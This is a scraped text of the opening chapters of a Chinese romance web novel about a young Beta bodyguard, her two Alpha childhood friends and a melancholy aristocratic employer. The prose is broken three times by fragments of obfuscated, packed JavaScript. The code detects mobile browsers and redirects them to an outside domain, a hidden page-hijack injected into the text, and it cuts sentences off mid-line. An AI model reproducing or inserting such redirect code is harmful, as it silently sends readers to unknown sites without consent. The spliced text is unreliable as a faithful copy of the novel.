《雇主每天跪下求我吃软饭》 1. 一个雇主 江洄,出生在联邦一区的一个二B之家。 即,妈妈是Beta,爸爸也是Beta。 十五岁以后,江洄成功分化,成了家里的第三个Beta,使得这个家光荣地延续为三B之家。 “多好,做一个平平无奇的Beta,稳定又健康。”她爸爸拍着她的肩膀说。 她妈妈扶了扶眼镜,微笑着看她:“也不一定。事在人为,只要你愿意努力,不见得就会因为是个Beta而做一辈子平庸的人。” 这话说得云淡风轻,因为她妈妈也确实是世俗意义上很成功的人。 江洄的爸爸是个小有名气的儿童文学作家,目前在一区学习院大学部攻读教育学博士,平时最喜欢研究营养学,致力于做一个无可挑剔的好爸爸,给宝贝女儿幸福快乐的人生。 他平常说的最多的话就是: “小洄真棒!小洄加油!” “今天要下雨,记得带伞/今天降温,记得多穿衣服/今天很干燥,在学校多喝水。” 以及,“有什么问题都可以和爸爸说。” 江洄的妈妈则恰恰相反。 她很少过问女儿生活上的各种细节。 她太忙了,是一位有名的生物考古学家。除了经常要泡实验室,她还需要频繁出差。有时候可能大半年都在很偏僻的区域进行当地研究考察。 所以她喜欢说:“嗯,你看着办。” “妈妈都可以,你来做决定。” 以及,“有问题可以自己先思考一下,实在想不明白再问别人。” 总之,江洄就在这样一个幸福的三B之家中平稳地长大了。 也因此,她的性格非常开朗乐观,从幼儿园起就有出了名的好人缘。喜欢和她玩的小朋友可以从一区排到十三区。 联邦总共十三个区。 经常有小朋友为了争谁和江洄做同桌闹起来。 于是老师们就习惯性把江洄的课桌放在教室正中间,其他小朋友则在她身边围成一个圆。 “圆上每个点到圆心距离相等,这个固定距离就是圆的半径。”老师笑眯眯地讲。 她们总是喜欢在各个缝隙里适当地塞一点超前的知识。 江洄却在眼睛亮晶晶地感慨,教室真大啊,好空旷。 当然空旷啦。 因为这个圆的半径很长,其他小朋友都镶边了^_^ 好在这所幼儿园是一区学习院大学部的附属幼儿园,孩子的家长都是大学部的教授。譬如江洄,她的妈妈是生物考古学教授。 而这所幼儿园就在学习院职工家属住宅区对面。 家长之间既是同事,又是邻居,相对而言就比较心宽,不太会插手小孩子之间的纠纷。主张孩子的事,孩子解决。 像座位安排这种事,只要孩子都高兴,觉得人人平等,那就无所谓。 非要说,最不习惯的还是江洄的爸爸。 因为他要开家长会。 每次坐在这种位置上,他对着前后左右数十张笑脸,都有一种微妙的、被当做动物园景点的感觉,很想管这些家长收门票。 “小洄会不会觉得困扰?或者奇怪?”起初他经常这样问江洄。 江洄却不以为意:“不会啊,大家都很喜欢我,我也很喜欢大家。这样的话,不管找谁,我的距离都是一样的了。” “要一碗水端平。”她一本正经地说。 爸爸笑着问她:“谁教你的?” “崔夏。” 江洄不假思索。 崔夏是唯一没有和其他小朋友争执过要做她同桌的人,但他是那个提出要把她放在圆心的人。最开始也是他先找老师提出这个建议的。 现在他坐在江洄的正左边。 甚至不用专门偏过头,只要余光一扫,就可以清晰地看见江洄的侧脸。 爸爸闻言笑了笑,没说话。 他觉得这小孩鬼精的,不过这都是小孩子的友谊,他向来不会多嘴。 于是江洄就一直坐在圆心,从幼儿园到高等部。 周围的同学基本没变过,一区的小孩子一直不多,大家生活的环境也比较固化。所以很多工作后的同事也还是上学时的同学。 不过也不是完全没有变化。 比如,最重要的ABO分化就是一道分水岭。 堪比二次投胎。 江洄周围二分之一的朋友都变成了Beta,四分之一成了Alpha,剩下四分之一则是Omega。分化后,有部分朋友就因为信息素不稳定,被迫转学去了专门性别学校。 只有Alpha的学校,以及只有Omega的学校。 也因此,以她为圆心的圆虽然没有变,圆上的点却分布得越来越稀疏。 唯一不变的就是她左右两边。 “所以真的不需要转学吗?” 江洄好奇地看向两边:“你们两个明明都分化成了Alpha吧,听说这个年纪的Alpha都相当暴躁、易怒,而且容易信息素紊乱、易感期不稳定……” 她背着书包走在放学路上,掐着指头一个个数生理课上学到的知识。 崔夏懒洋洋地对江洄笑,露出一点尖尖的小虎牙:“我目前为止没有和任何人发生过任何冲突,而且按时体检,结果良好。” 明树皱着脸在吃他最喜欢的柠檬糖,被酸得龇牙咧嘴,却还记得含糊不清地回答她:“我不知道别人,但我确实和以前没什么区别。” 他们一左一右牵着她的手过马路。 过了马路就是住宅区。 三个人一起进了小区,松开牵着的手。 崔夏向左拐,明树向右拐,江洄笔直地向前走去。 第二天早上上学,她们又各自从家里出来在小区门口相遇。再一左一右三个人并排走去学校。进了教室,崔夏和明树一左一右坐在两边。 江洄又坐回了圆心。 - 这就是她们习以为常的每一天。 而在她们重复的日常里,崔夏的制服穿得越来越不规矩。 刚上小学部时,还规规整整把纽扣扣到脖子。中学部时,领口歪开了一个角;到了高中部,最上面两颗纽扣都解开了,耳朵上却多出两个孔。 领带松松垮垮被甩到了一边,若隐若现露出一点锁骨。 有时江洄看见他的黑色耳钉,总忍不住想看他制服领口的那两颗纽扣还在不在,是不是被他拆下来钉进耳洞里了。 每次她朝他张望,他就会笑眯眯地问她,要不要也给她打耳洞。 “我手很稳的,保证不会痛。”他撺掇道。 明树每次也都会说他胡闹,警告他不要带坏好学生江洄。 “那是违反校纪的,你没有被抓也不要侥幸。” 他伸长胳膊在江洄课桌上放了几颗柠檬糖。在江洄注意力转移到五光十色的玻璃糖纸上时,他扭了扭领带,皱着眉活动肘臂。 自从分化成Alpha,他体能的各项数据就在飞速上升。 尤其他本来就很喜欢运动,肌肉难免比较结实,裹在收腰的紧身制服里,总是感觉浑身紧绷,很别扭。 “领带又没系好。”江洄含着糖指了指他胸前。 然后对他招手。 明树习惯性凑过去,被她三两下拆开,又重新打了个漂亮的结。再把他推回去,推回去之前还拍了拍他脑袋。 头发还真是柔顺。 这样想着,江洄稍微用力揉了两下。 明树低头看着自己的领带结。 崔夏就趴在桌子上侧过脸笑眯眯地看她们。 突然,江洄皱起脸:“好酸。” 她用力用牙齿碾碎坚硬的水果糖,口腔里顿时像被丢了个爆开的柠檬炸弹,又酸又甜。五光十色的玻璃纸被举起,挡住一只眼睛。 阳光透过玻璃纸,折射成迷幻的彩色。 这是江洄的十七岁。 -

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16491684|185899||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 二十一岁。 江洄站在十字路口,收到了一封邮件。 对面的绿灯亮了。 她握紧终端匆匆忙忙穿过马路,然后点开终端看简讯。 是之前投递的简历有回复了。 一段冗长且客气的措辞感谢她的投递,最后才是结果。 【诚邀您于星纪元3025年9月17日(本周五)14:00前往联邦二区清水别墅与默蓝先生进行初次会面。 会面结果将会在当天通知您。 倘若顺利,雇佣合同将会在9月20日(下周一)9:00发至您终端。 如有任何问题,请随时与我们联系。】 江洄长吁一口气。 之前的笔试通过了! 她顿时快乐地飞奔回家。 打开门,却第一眼看见崔夏。 他正好站在门外,手伸了一半,大概是想给她开门。看见她已经扑了进来,他笑着上前一步,接住她的拥抱,说: “刚刚就从走廊监控里看见你一路飞出电梯了,这么开心,一定是考核通过了。” “我已经收到面试邀请了!” “我就知道,小洄真棒!” 爸爸解开围裙,笑眯眯地让江洄赶紧洗手,准备吃饭。 明树端上来最后一道菜,提前帮江洄把椅子拉开,坐在她右边。 崔夏坐到左边。 “妈妈又出差了吗?”江洄最近忙着大学部毕业实习,都没空回家。 爸爸低着头用终端给一桌的菜拍照,发给妈妈。并叮嘱她要注意身体。 “嗯,去极地冰川了。很辛苦。”他叹了一口气。 又说:“小洄这周也要离开一区了,真是放心不下。” 崔夏给江洄剥着虾,闻言笑起来: “叔叔放心好了。二区还是治安很好的,那些贵族最珍惜小命了,连我们一区的人进去都要打申请报告,还要做背调。” “更别说其它区了。” “上回我一个大学同学就因为幼儿园报告单上评语是过分调皮捣蛋,就被拒了。乱七八糟的人,进不去的。” 他耸了耸肩。 联邦十三个区之间一直隐隐有摩擦,且互相歧视。 江洄吃完崔夏给她剥的大半碗鲜甜虾肉,凝重地思索起一个问题。 默蓝先生会不会有地域歧视? 新闻上倒是没提及过这一点,但也有可能是为了维持他纯粹的艺术家身份掩盖了。新闻上只隐晦地说,默蓝先生性情孤僻,常年独身住在清水别墅,不喜社交。 而清水别墅那一带是联邦有名的贵族寡夫区。 丧偶且不愿再婚的贵族Omega就喜欢住在那里,远离二区主城的喧闹。 但默蓝先生是一个年轻且没有配偶的Beta。 “你要是担心,我陪你一起去。”明树安慰她。 “那还是算了。” 她可不想默蓝先生看见明树的申请报告上是陪江洄面试——进二区的申请报告都要给相关人审核的——那太丢脸了。 江洄吃完饭回到卧室,又开始把之前搜集的资料全部翻出来仔仔细细再看了一遍。 之后接连几日她都在为这次面试做准备。 日历一页页翻过。 周五。 江洄坐在了清水别墅的客厅。 别墅里的管家给她上了茶,和蔼地对她笑道:“先生其实很和善的,只是不擅长与人交流。” 蔚蓝的天一望无际,各式各样的无人机流星般划过。 江洄收回投向落地窗外的视线,对年迈的管家笑着道谢。她刚要说什么,忽然听见一道幽幽的声音自楼上响起:“谁在那里?” 她一怔。 抬起头。 是默蓝先生。 他忧郁地扶着雕花复古的楼梯栏杆,眼珠很黑,眼神也漆黑,死气沉沉的。 似乎把她们之间的面试忘了。 2. 两个雇主 老管家花了不少功夫向默蓝先生说明江洄的身份和来意—— 江洄才知道,原来一直和她联系的都是默蓝先生家族的人。 并不是老管家,他只负责照顾默蓝先生的起居日常,以及作为家族和默蓝先生之间的信息桥;更不是默蓝先生,他是个不关心俗事的忧郁仙男。 说到“忧郁仙男”,这个称呼其实最开始属于江洄曾经一个Omega同学。 他长得柔弱又漂亮,似乎还有头痛病,经常坐在靠窗的位置上用纤细的手指按在额角、蹙着淡淡的细眉,抬头四十五度角仰望天空。 崔夏说他做作。 “因为真正忧郁的人,不会连抬起的下颌线弧度都精确得恰到好处。” 他戏谑地称呼那个Omega“忧郁仙男”,还说那家伙是个心机怪,一定是在妄图引起江洄的注意。 但江洄一直对他的观点持不赞同态度。 她每次看见那个Omega楚楚可怜的脸庞,就没办法认同——这是一个做作的心机男。她觉得崔夏或许是误会了,甚至为自己的朋友崔夏背地里嘲讽他而对他感到惭愧。 也许是出于这种微妙的心理,江洄乍一看见忧郁的默蓝先生,便忍不住对他感到深深的同情和亲切。 默蓝先生果然如老管家所言,是个和善的人。 他没有计较江洄打扰了他下午的冥想时刻,反而蹙眉思索了半晌,说:“那就跟我来吧。你和我呆上半天,如果合适的话,这份工作就是你的了。” 江洄看了看老管家,老管家笑着鼓励她上楼。 她想,直接跳过官方的面试,深入了解雇主的工作和生活环境,似乎也能更好帮助她对未来的工作有一个清晰的认知。 于是立即跟着默蓝先生往楼上走。 默蓝先生把她带进了一个明亮宽敞的房间,房间的窗户半敞着,映出头顶蔚蓝的天空,窗前是随风飘摇的雪白窗纱,轻柔又皎洁。 他坐在了窗边茶几旁的一把椅子上,又请江洄坐在他对面。 江洄注意到椅背上竟然编着鲜艳的花与青翠的藤蔓,鲜花的颜色配得恰到好处,既不过分艳俗,也不会太寡淡无聊。 “默蓝先生之前在看书吗?”她收回视线,搭话道。 默蓝先生洁白的手指正在慢慢翻动原本搁在茶几上的诗集。闻言,他垂下的乌黑眼睫轻轻颤动了两下。然后抿起淡红的唇: “不,我在忧伤。” 江洄表示理解并尊重,又彬彬有礼地问:“那请问您平时忧伤一般有什么程序呢?我需要做什么?” “没什么程序,”默蓝先生的目光从纤长浓密的眼睫下飞快掠过她,说,“你陪我忧伤一会儿就好。” “好的,但是具体要怎么忧伤?我之前没有相关经验,可能不太熟练。” 江洄颇为自惭地反省。 她还是不够专业,远远不能和行业内优秀的前辈相比。要知道现在做私人保镖,已经卷到上天入地,无所不能了。 幸亏默蓝先生真的是个很好的人。 他让她坐在那儿,只要配合他就行。 于是江洄立即挺直了背,神情严肃。 然后。 听他弹琴、读诗,再看他用漂亮的花体字洋洋洒洒写上厚厚一沓信,写完了还对着她富有感情地轻声朗读出来—— 尽管念的都是一些听不懂的话,二十个字里有十八个字的典故。 最后忧郁地蹲在壁炉前,一张一张用火烧掉。 江洄被他炫技一样的意象叠加和挖空心思的用典唬得一愣一愣,虽然听不懂,但肃然起敬。 她陪他蹲在火边,脸被热得发红。 “默蓝先生,您是觉得写得不够好,才烧掉吗?” 他一顿:“不,我只是为了烧给另一个我。” 江洄也顿住了:“您的家人联系我时,没说过您有人格分裂。”这算诈骗了。 尽管是忧郁仙男,也不能让她收一个人的钱,却给两个人做保镖。 触犯劳动法的。 “不,我没有人格分裂。” 他抿唇、拧着眉,似乎很不擅长解释: “我只是认为,每个人都有两个自我。一个属于俗世,一个属于他自己的精神世界。而这些信,就是俗世的我,写给精神世界的我。” 江洄顿时松一口气。 这工作合法就行。 默蓝先生把信纸烧干净,从胸口掏出一张洁白的手帕,正准备擦手,结果无意中看见江洄额头薄薄一层汗,犹豫了一瞬,还是把崭新的手帕递给了她。 指了指她额头示意,低声道:“擦一下吧。” 自己转而绕去盥洗室,拧开水龙头,洗手。 江洄道了声谢接过,用完又折叠好放在自己外衣口袋里,打算回头买个新的还给默蓝先生。 “时间不早了,来用点下午茶吧。” 默蓝先生邀请她。 他说话总是声音很低,神情很忧郁,或是淡淡的,眼睛很少看着她说话,经常垂着头,像是在自言自语。可一旦看向她,就会极其专注。 他会用那双乌黑的眼睛凝视着她。 江洄有点不习惯,但她认为作为专业的保镖,她必须习惯。 于是她也睁着眼睛,同样专注认真地盯回去。 结果每次都是默蓝先生眼神飘移着,不自在地退回去,敛入低垂的眼睫下。 他轻咳了两声,似乎在掩饰刚才一瞬间的失态,并背对着她再次轻声提醒她下去一同吃下午茶。 江洄便跟着下去了。 但她没想到,下午茶是默蓝先生亲自下厨做的。而且他自己不吃,做了许多,却都堆在她面前。 江洄:“这恐怕不太合适。” 他:“没事,我忧伤。” 又让她不要客气:“不然,也是浪费。” 于是江洄半推半就之下只好每样都吃了些,吃完了看时间都下午五点了。默蓝先生叫来智能管家,给她把剩下的全打包,让她带回去。 离去前,江洄充满感激地对默蓝先生道:“谢谢您的款待,很荣幸能陪您忧伤。如果您觉得我符合您的雇佣需求,请务必联系我。” 默蓝先生垂眼嗯了一声:“我会的,合同会让人发给你。” 老管家慈爱地笑望她们两人。 “先生很久没有这么开心了。”江洄临走前听他说道。 她茫然地回头看了一眼,并没有发现默蓝先生与她来时有何不同。 可能是因为默蓝先生比较内敛? 她想。 他让家里的智能管家亲自送江洄去机场,有莫里斯家族的身份,她可以一路畅通无阻,方便天黑之前赶回一区。 江洄没有拒绝。 因为她来的路上已经发现,二区的加塞不看车技,看车牌。 无论是大贵族、小贵族,但凡有点身份,一定会在车牌上用各自家族专属的车牌。 也就导致江洄好几次眼睁睁看着这些贵族的车毫无预兆地斜插入她前方,且非常猖狂,极其倨傲。 变道时连转向灯都不打!只留给她一串轰鸣与车尾气。 差点害她迟到! 这次有了莫里斯家族的车牌,她终于准时乘上了飞往一区的无人机。无人机于五点半起飞,六点就到了一区。 江洄风尘仆仆赶回家。 爸爸照常做了一大桌子的菜。然而,即使江洄再给面子,也只能草草吃了几口就搁下筷子。 爸爸大惊失色,以为宝贝女儿终于吃腻了他做的菜。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16491685|185899||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“是觉得不好吃吗?”他紧张不已。 江洄说没有。 于是爸爸狐疑地看了看餐桌上被她带回来的甜点,又看向她,问:“今天做什么去了?为什么不想吃饭?” 江洄学着默蓝先生的样子,一脸沉郁,郑重其事答:“去忧伤了。” 爸爸:“?” 爸爸茫然地望向她:“一天都在忧伤?” 江洄严肃答:“是。” 爸爸:“……” 爸爸:“小洄真是长大了,都学会忧伤了。这是有自己思想的体现,真棒!” 虽然不懂现在的孩子都在想什么,但是孩子愿意表达就要给足情绪价值,不然以后孩子都不愿意开口说话了怎么办? 他微笑着又给江洄切了一盘水果送进她房间,转头就回书房对着翻烂了的育儿书苦思冥想。 江洄回房间洗漱。 洗漱完,她习惯性目不斜视地路过房间里的体重计,然后又倒退着走回来。 她站上了体重计。 忧郁地发现—— 原来,一忧伤=五斤。 江洄头发凌乱地倒在床上,痛定思痛,下定决心要坚守住自己的职业底线,决不能再接受雇主的糖衣炮弹。 虽然只是个保镖,也要有良好的体能。 不然往后的测试要怎么通过? 她满脸沉痛地想。 “叮咚——” 终端响了。 她伸长了胳膊够到床头柜上的终端,这个特别设置的专属铃声……她看也没看来电人,直接接通。 对面果然传来熟悉的声音。 “晚上好,江洄。很抱歉这个时间打扰你,但是我不得不照例询问一下,请见谅。” 对方的声音很温和平静,并且伴随着一阵沙沙声,大概在翻动书页,还有按动笔的声音,或许在准备对接下来的谈话做例行记录。 他问:“今天的工作还顺利吗?” 江洄立即起身坐好,即便盘腿坐在床上,腰背也挺得笔直。 “晚上好,长官。” “工作很顺利,不出意外,下周一默蓝先生就会发给我那份合同。” “他看起来状态如何,情绪还稳定吗?性格如何?他在清水别墅是否独居?周围有没有交好,抑或是交恶的邻居?” “报告长官——” “默蓝先生状态不算很好,但也不算太糟糕。他似乎对日常事务漠不关心,本人并非独居,别墅中有一位从小照顾他的老管家负责打理他的生活,并与莫里斯家族定期交流他的状况——” “情绪相对稳定,只是时常忧伤,忧伤时通常会借助弹琴、读诗、创作进行排解。擅长做甜点,大概经常下厨,但他本人不喜欢吃甜点。” “性格平易近人,但非常喜欢沉浸在自己的精神世界。关于附近的邻居……” 江洄回忆了下午提前到达清水别墅时,从老管家口中听到的。 “默蓝先生几乎不和周围人来往,不过最近搬来了一位新邻居,经常送些手作点心。这位新邻居似乎是从事写作相关的工作,自从搬来,会固定在家中举办文学沙龙,还几次三番邀请过默蓝先生,结果通通被拒绝了。” 终端另一边的笔尖沙沙声中途突然暂停,然后键盘敲击声沉稳地响起。 接着又是翻动书页的声音。 或许是长官在对着档案资料核实默蓝先生的相关信息。 江洄出于专业本能地捕捉着对面一切细微的动静,同时在心中做出各种猜测与判断。 过了一会儿。 终于。 “很好,江洄,谢谢你提供的信息。明天我们见一面吧,我们需要具体谈谈——” “关于默蓝先生被下达自杀预告这件事。” 3. 三个雇主 崔夏觉得,江洄最近很奇怪。 “神神秘秘,经常背着我们接电话,每次收到某个人的消息,总会反应很大,表情一下子很严肃认真。而且不管我怎么叫她,她都视、若、无、睹,还嫌我吵,让我安——静!” 他倒在沙发上,漫不经心地和明树抱怨。 “噢,还总会偷偷去见什么人。” 他歪着脸,目光追随着在客厅里把拖鞋踩得啪嗒啪嗒响的江洄。 她好像在找什么,急得团团转,像只咬不到自己尾巴的小狗。 明树靠在沙发扶手的背顿时挺直。 他终于肯把眼神从屏幕上的游戏界面移开,转而投向江洄。他困惑极了:“什么东西找不到了?” 江洄视线都没挪一下,仍旧严谨地逡巡着客厅的每个缝隙:“我的终端!” 崔夏懒洋洋地把手伸到后背,摸索着将从刚刚就一直硌着他背的东西从夹缝里抽出来。 然后喊:“小洄!” 江洄条件反射地回头:“都说了不要学我爸爸这样叫我,叫了这么多年名字突然换称呼,真的很奇怪……啊!” 崔夏挑眉晃了晃手里的东西。 上面系着的一串玻璃纸叠成的幸运星也像风铃一样晃起来——那还是高中时明树给她一个个叠好,串起来的。 “我的终端!” 江洄倾身,伸长了胳膊,一把夺去。 又扭头啪嗒啪嗒冲到门口换鞋,急急忙忙出去。 “我出门办个事,大概中午就能回来!你们要是不嫌无聊,就先在家里等我。” 崔夏注视着她背影,嘴上答应着:“好——” 转头就对明树继续刚才的抱怨:“看吧,又走了。” 明树已经再度专心致志地投入游戏,闻言头也没抬:“有什么奇怪的,估计是工作上的事。” “可今天是周六。” 明树的手指顿住。 他抬起头,盯着他:“你想干什么?” “唔……”崔夏装模作样思索了一秒,就飞快问出来,“要不要一起去看看?” 明树望着他:“江洄会不高兴的,她既然瞒着我们,总有她的道理。” “但还有可能仅仅是因为她恋爱了。” “那也是她的自由。” 明树平静答。 “是吗?”崔夏忽然笑得很开心,“可是你的表情看起来很可怕,一副要把那个人宰了的样子。真的没关系吗?” 明树没说话。 崔夏低头看了眼时间:“好吧,既然你不赞同,那就算了。反正过去这么久也追不上了。” 他作势要继续倒在沙发上,却听见明树突然说:“我记得,你在她终端里装过定位。” 他垂眼遮住似有若无的笑意,嘴上却说:“是啊,但你上次不是逼我当着你的面卸掉了吗?” 明树不为所动:“上次卸载了,后来一定又装上去了。” “……果然瞒不住你。”崔夏苦恼地皱眉,但也只有短短一瞬。很快他就笑起来,“我前两天回来刚装上去的。” 明树不信任地看了他一眼,没说话。 他起身往门外走。走到门口,又忍不住回头警告崔夏:“这件事结束后,你还是得把定位的程序卸载掉。” “不可以监视她。”他面无表情说。 “我知道。” 崔夏答应得很爽快——他每次都答应得很爽快。 他不紧不慢跟了上去。 …… …… 两人很快坐在了一家咖啡店外的长椅上。 透过咖啡店的玻璃墙,他们清晰地看见了江洄的侧脸。 而她的对面果然坐着一个清俊的男人,他还在对她温和地笑。 崔夏抖了抖随手从旁边书架取下的报纸,遮住自己的脸后,他转而侧目望向明树:“看,我的直觉从不出错。” 他微笑。 明树一直盯着那个人:“不是默蓝·莫里斯。”不是江洄的雇主。 “……不错,那个莫里斯不长这样。”崔夏随便瞥了眼报纸,竟然就瞥见了一个冷淡的默蓝·莫里斯。 不愧是名人。 这可是联邦最著名的星河公报第一版,他竟然占据了整整一面。 就是内容不太妙。 崔夏挑了挑眉。 就在这时,明树忽然开口:“他送了江洄一个礼物。” 又过了会儿,他说:“是一把枪,好像是最新脉冲手枪。”他只在军部看见过,市面上还没有开始流水线生产售卖。 能搞到这东西,多少沾点军部背景。 他顿了顿:“江洄看起来很高兴。” 崔夏的目光随之落在玻璃内侧:“看型号似乎是我们研究所出来的。” 他赞赏地看了眼对方,认为不管怎么说,这是个有脑子的人,至少对江洄有一定的了解,并不是表面的追求与自以为是的纠缠。 “送个礼物而已,这很正常。只要不是求婚戒指,你都应该保持最基本的冷静。” 明树:“你现在又不急了?” 崔夏:“我之前只是担心她遇到人渣,既然这个人看起来还算正派,我至少可以把心放回肚子里。” “然后任由她们继续发展下去?” “当然不。” “我欣赏我的对手,不代表我希望他们成功。如果可以,我更希望我所有的情敌都会在一夜之间失去性.功能,然后在举办婚礼的教堂中祝福我们相爱永恒。” 明树点点头:“你太恶毒了。” “多谢夸奖。”崔夏谦逊地接受了好友的赞美。 明树正要问他接下来有何打算,就猝不及防被一个人从背后叫住。 这个人穿着浅色的上衣,看起来斯文内秀。他的眼睛很干净,在他本就美丽的面孔上有如点睛之笔。 “果然是你们。”他弯眸浅浅笑起来。 又问:“怎么只有你们?江洄呢?” 说着他好奇地四处张望,并一眼就看见咖啡店里熟悉的人影,以及她对面的另一个年轻男人。他笑容不变,仍旧抿着唇。 “你们三个感情还是这么好,连江洄和男朋友约会都要在门口守着。” 他捂着嘴一边笑,一边对他们眨眼睛。 崔夏也对他笑,转头就在终端上骂他“阴魂不散”。 明树低头也在终端上问他:【这是谁?看着有点眼熟。】 【你忘了,就是那个忧郁仙男最会装无辜卖惨博同情吸引关注总之很贱的一个人。后来因为分化成Omega信息素不稳定,就转学了。】 “在聊什么?我吗?” 这个人突然凑近看他们的终端屏幕。 崔夏立即熄灭屏幕,皮笑肉不笑:“好久不见,你看起来一点也不忧郁了,恭喜你啊。” “你也觉得我状态好多了?” 他抿唇笑起来,仿佛听不出崔夏语气的不待见: “这都亏了江洄。她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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明树下意识要抓住她,手心却突然被塞了一个冰凉的小盒子。低头一看,是他最喜欢的柠檬糖。 “出门路上买的,最近总看见这个牌子在打广告,听说很受欢迎。你说不定会喜欢。” 她笑了一下。 明树不着痕迹摩挲盒子上的一行小字“接吻糖”,却在抬眼的刹那冷不丁和崔夏对视——他也看见了那行小字。 崔夏挑眉,用口型对他说:“她肯定没看见。” 明树把糖塞进外套口袋里,淡淡地移开眼。 然而,他们在这里各怀心思,那边江洄已经走到柔柔弱弱的Omega面前,热情邀请他:“要不要来我家吃饭?” 柔柔弱弱的Omega抿唇对她腼腆地笑:“好,正好我有话想和你说。”他说话也轻轻柔柔的。 只是当他将原本插在口袋里的手拿出时,不小心带出装在里面的东西。 是一个很精致的小盒子。 恰好滚到了崔夏脚边。 他弯腰捡起,并神情自然地顺手打开一条缝朝里望了望。 而后倏地顿住。 突然想到刚刚的话——只要不是求婚戒指。 可如果就是求婚戒指呢? 他不太愉快地笑了起来。 4. 四个雇主 “东西掉了。” “噢,谢谢。” 崔夏懒洋洋地慢一拍跟在江洄身后,把自己原先的位置暂时让给了讨人厌的忧郁仙男。 就听见忧郁仙男轻声细语地和江洄说了一路。 回到家。 忧郁仙男主动借了江洄爸爸的围裙,转而把江洄按在客厅里,不许她周末还要操劳。 他自己却温柔体贴地给她切好水果,泡好茶,才不疾不徐走进厨房开始做午饭。 “你们三个现在也难得见面,你坐在这里陪他们说说话就好,不用管我。” 他熟稔的语气俨然一个待客有道的贤惠丈夫。 江洄感觉不太好。 “怎么能让你一个人干活?”她站起来打算去帮他,心里很不好意思。 却被崔夏重新按在沙发上。 他说:“这有什么?都是朋友。你和程栩太客气,他反而觉得你见外,会不高兴的。” 程栩就是忧郁仙男。 又管她要来终端:“我要承认一个错误。” 江洄迅速被他吸引注意:“你终于决定不在我终端里偷偷装定位了?” 崔夏讶然:“你知道?” “不然哪有这么巧?我一出门,你们就能找到。”江洄扬眉道,“而且你以前就有前科。” “虽然不知道后来为什么良心未泯,又删了。” “因为被明树发现了。” 崔夏飞快操作完,又把终端还给她。 “你竟然一直知道?”他笑吟吟地望向她,“那为什么不生气?” 江洄登时给他脑袋一记爆栗:“以后不许做这种违法的事!尤其不可以监控我的终端!” “以前也就算了,后面我的工作可能涉及保密内容。小心你被当成嫌犯抓起来。” 崔夏吃痛地揉额头。 “你还没有说为什么不生气。” 江洄一副看傻瓜的样子:“猜也猜到了,你无非就是想知道我在哪里,在做什么。又不会真的害我,生气倒也还好,反而第一反应觉得果然是你干得出来的。” 她故意板起脸:“我没有说,就是在等你畏罪自首。还好你没有让我等很久,也不算无可救药。” 崔夏伸手戳她的脸。 被她一下子用力拍掉,把他手背都拍红了。 “你保证,以后绝不侵犯我隐私。” 她变魔术似的突然变出今天新得的那把脉冲手枪,并将冰冷的枪口抵着他眉心,一脸冷酷。 “不然今天我就要为民除害。” 崔夏握住枪身,稍稍加重力气带着枪口转而抵住勃颈上的动脉。 他微微仰起脖子,露出最脆弱的要害。 “再有一次,就像这样。” 他说。 江洄却顺势再往耳后偏了几寸:“我比较喜欢这个位置。” 崔夏的眼睫不自觉抖了两下。 那是他的腺体。 不过只短短一瞬,就被松开了。 装模作样警告了他之后,江洄松懈下来,瘫在沙发上和他小声抱怨:“你想知道我去哪儿,为什么不问我?” “你可能不太方便。” 崔夏移开眼神,探出指尖轻触自己的腺体。 有点麻。 奇异的电流感一窜而过。 江洄觉得他这话莫名其妙。 “除了工作上需要保密的事,我有什么是你不知道的吗?”她认真地看着他,说,“反过来也一样。你第一次易感期躁动还是我——” 崔夏微笑着捂住了她的嘴,示意她这个家还有第三第四个人。 江洄闷闷的声音从他掌心里传出。 “不是你说的吗?都是朋友,没有外人。”她眨着眼睛。 “但即便是朋友,听你们讨论这些也很不合适。”明树走过来坐在江洄旁边,无情地一把扯掉崔夏的手,“让她好好说话。” “好吧。” 崔夏从善如流:“那么今天你见的人是谁?” 江洄不满地又敲了一下他脑袋:“出门都说了是工作上的事,当然是我的现任长官。别的就不要问了,不可以说。” 崔夏抱头倒地:“我知道错了。” 明树瞥了他一眼:“你最好是。” “不要含血喷人,至少我从来没有骗过江洄,”崔夏一个翻身,迅速爬起来坐好,一本正经向江洄寻求支援,“小洄你说,我答应你的事,是不是都做到了?” “这个确实。” 江洄客观且严谨地予以赞同。 而后拍拍明树的卷毛脑袋:“但是明树出于对你人品的不信任,质疑有根有据,也值得肯定。” 程栩恰好冒出头,让她们洗手准备吃饭。 “这么快!好厉害!” 虽然江洄早就习惯了平时爸爸做饭的高效率,还是很给面子地捧场。 崔夏跟在后面:“不会是预制菜吧?” 江洄笑容不变地偷偷拧了他一下。 “不用自己受累,还有的吃,就心怀感激吧。” “谁让他没眼色地跟我们回家?本来今天中午应该是我做饭。”他和明树早就约定好一人一天轮流来,谁想到半路冒出个插队的。 “是我主动邀请他,你不要总对程栩有偏见。” “你那是客套话,说明你有礼貌。但他如果也有礼貌,就应该委婉地拒绝。”崔夏遗憾地叹道,“只可惜,他没有。” 三个人洗了手,习惯性排排坐下。 